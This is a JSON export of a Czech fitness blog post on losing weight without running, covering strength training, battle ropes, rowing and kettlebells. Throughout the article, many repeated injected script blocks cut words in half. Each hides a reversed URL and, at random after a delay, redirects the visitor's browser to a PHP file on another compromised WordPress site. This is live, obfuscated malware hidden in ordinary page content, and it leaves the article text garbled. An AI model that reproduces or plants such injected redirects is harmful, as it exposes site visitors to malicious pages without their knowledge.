{"id":157,"date":"2019-07-23T04:53:58","date_gmt":"2019-07-23T04:53:58","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=157"},"modified":"2019-07-23T04:53:58","modified_gmt":"2019-07-23T04:53:58","slug":"jak-zhubnout-bez-behani","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/07\/23\/jak-zhubnout-bez-behani\/","title":{"rendered":"JAK ZHUBNOUT BEZ B\u011aH\u00c1N\u00cd"},"content":{"rendered":"<p>Eric Velazquez, CSCS<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Nepat\u0159\u00edte mezi p\u0159\u00edznivce b\u011bhac\u00edho p\u00e1su? Nevad\u00ed. I tak m\u016f\u017eete spalovat zna\u010dn\u00e9 mno\u017estv\u00ed tuk\u016f! Sta\u010d\u00ed vyzkou\u0161et jin\u00e9 me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tody.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Lidi b\u011bhaj\u00ed s c\u00edlem zhubnout u\u017e des\u00edtky let, obrovsk\u00fd boom za\u017eilo b\u011bh\u00e1n\u00ed v osmdes\u00e1t\u00fdch letech minul\u00e9ho s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolet\u00ed. Ale v\u011bt\u0161ina lid\u00ed se jist\u011b shodne na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, \u017ee tr\u00e1vit n\u011bkolik hodin t\u00fddn\u011b na b\u011bhac\u00edm p\u00e1su je velice nudn\u00e9. V posledn\u00ed dob\u011b se pozornost up\u0159ela p\u0159edev\u0161\u00edm na intervalov\u00fd tr\u00e9nink o vysok\u00e9 intenzit\u011b, d\u00edky n\u011bmu\u017e je trv\u00e1n\u00ed tr\u00e9ninku zna\u010dn\u011b zkr\u00e1ceno. Je ale mo\u017en\u00e9, abyste hubnuli i bez b\u011bh\u00e1n\u00ed? Ano, je. M\u00e1me pro v\u00e1s n\u011bkolik rad a tip\u016f, jak vytvo\u0159it kalorick\u00fd deficit a\/nebo urychlit metabolismus, ani\u017e byste museli b\u011bhat.<\/p>\n<p>&nbsp;<\/p>\n<p>1 V\u00cdC POSILUJTE<\/p>\n<p>Jednou z prvn\u00edch me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tod, kterou za\u010dali spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci vyu\u017e\u00edvat ve snaze odbourat tuk, bylo sn\u00ed\u017een\u00ed z\u00e1t\u011b\u017ee a proveden\u00ed vy\u0161\u0161\u00edho po\u010dtu opakov\u00e1n\u00ed. Nicm\u00e9n\u011b cvi\u010den\u00ed s vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e\u00ed je pro celkovou t\u011blesnou kompozici prosp\u011b\u0161n\u011bj\u0161\u00ed. V Norsku byla provedena studie, kter\u00e1 zjistila, \u017ee lid\u00e9 prov\u00e1d\u011bj\u00edc\u00ed s\u00e9rie o \u0161esti opakov\u00e1n\u00edch s maxim\u00e1ln\u00ed v\u00e1hou urychlili \u010dinnost metabolismu v\u00fdrazn\u011bji a na del\u0161\u00ed dobu ne\u017e ti, kte\u0159\u00ed prov\u00e1d\u011bli s\u00e9rie o 12 opakov\u00e1n\u00edch. Tr\u00e9nink s vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e\u00ed nav\u00edc vede k nav\u00fd\u0161en\u00ed hladiny hormon\u016f, kter\u00e9 podporuj\u00ed spalov\u00e1n\u00ed tuk\u016f, tzn. tes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tosteronu a r\u016fs<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9ho hormonu.<\/p>\n<p>&nbsp;<\/p>\n<p>2 BOJUJTE S LANY<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-159 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/athlete-beach-biceps-1406356-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/athlete-beach-biceps-1406356-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/athlete-beach-biceps-1406356.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>M\u016f\u017eete si o cvi\u010den\u00ed s velk\u00fdmi lany myslet, \u017ee je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to neefektivn\u00ed v\u00fdmysl, ale budete na velk\u00e9m omylu. Pr\u00e1v\u011b ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to aktivita <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e m\u016f\u017ee p\u0159edstavovat v\u00edtanou zm\u011bnu, \u0161anci tr\u00e9nink si opravdu u\u017e\u00edt a nav\u00edc dos\u00e1hnout takov\u00fdch v\u00fdsledk\u016f, jako t\u0159eba p\u0159i sprintech nebo j\u00edzd\u011b na kole. D\u00edky jedn\u00e9 studii v\u00edme, \u017ee kdy\u017e spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci st\u0159\u00eddali intervaly 15 sekund cvi\u010den\u00ed s lany a 45 sekund odpo\u010dinku, dos\u00e1hli p\u0159ekvapiv\u011b dobr\u00fdch v\u00fdsledk\u016f.<\/p>\n<p>&nbsp;<\/p>\n<p>3 VESLUJTE, VESLUJTE, VESLUJTE, KLIDN\u011a I NA STROJI<\/p>\n<p>M\u00e1te v posilovn\u011b veslovac\u00ed stroj Concept2 nebo n\u011bco podobn\u00e9ho? Pokud ano, ur\u010dit\u011b ho vyzkou\u0161ejte. P\u0159i spr\u00e1vn\u00e9m proveden\u00ed zapojuje veslov\u00e1n\u00ed v\u0161echny hlavn\u00ed svalov\u00e9 skupiny a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to takov\u00fdm zp\u016fsobem, jak\u00fdm byste <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pomoc\u00ed jin\u00e9 aktivity t\u011b\u017eko dok\u00e1zali. Veslov\u00e1n\u00ed rozv\u00edj\u00ed s\u00edlu a sou\u010dasn\u011b i spaluje tuky. M\u016f\u017eete veslovat bu\u010f del\u0161\u00ed dobu ve stabiln\u00edm tempu, nebo v r\u00e1mci 45 sekundov\u00fdch interval\u016f, kter\u00e9 v\u00e1m umo\u017en\u00ed dos\u00e1hnout maxim\u00e1ln\u00edch v\u00fdsledk\u016f.<\/p>\n<p>&nbsp;<\/p>\n<p>4 DORA\u017dTE SE KETTLEBELL<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-160 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/body-crossfit-dark-116079-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/body-crossfit-dark-116079-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/body-crossfit-dark-116079.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Cvi\u010den\u00ed s kettlebell \u010dinkami p\u0159edstavuje skv\u011bl\u00fd zp\u016fsob, jak budovat s\u00edlu i mobilitu. Jestli\u017ee nav\u00edc cvi\u010d\u00edte v r\u00e1mci intervalov\u00e9ho tr\u00e9ninku, podpo\u0159\u00edte i odbour\u00e1v\u00e1n\u00ed tuk\u016f. V r\u00e1mci jedn\u00e9 studie bylo zji\u0161t\u011bno, \u017ee pokud spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci prov\u00e1d\u011bli dvan\u00e1ct 30 vte\u0159inov\u00fdch cvi\u010den\u00ed s kettlebell, p\u0159i\u010dem\u017e po ka\u017ed\u00e9m n\u00e1sledovalo 30 sekund odpo\u010dinku, do\u0161lo u nich k n\u00e1r\u016fstu hladiny tes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tosteronu o 14 % a r\u016fs<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if 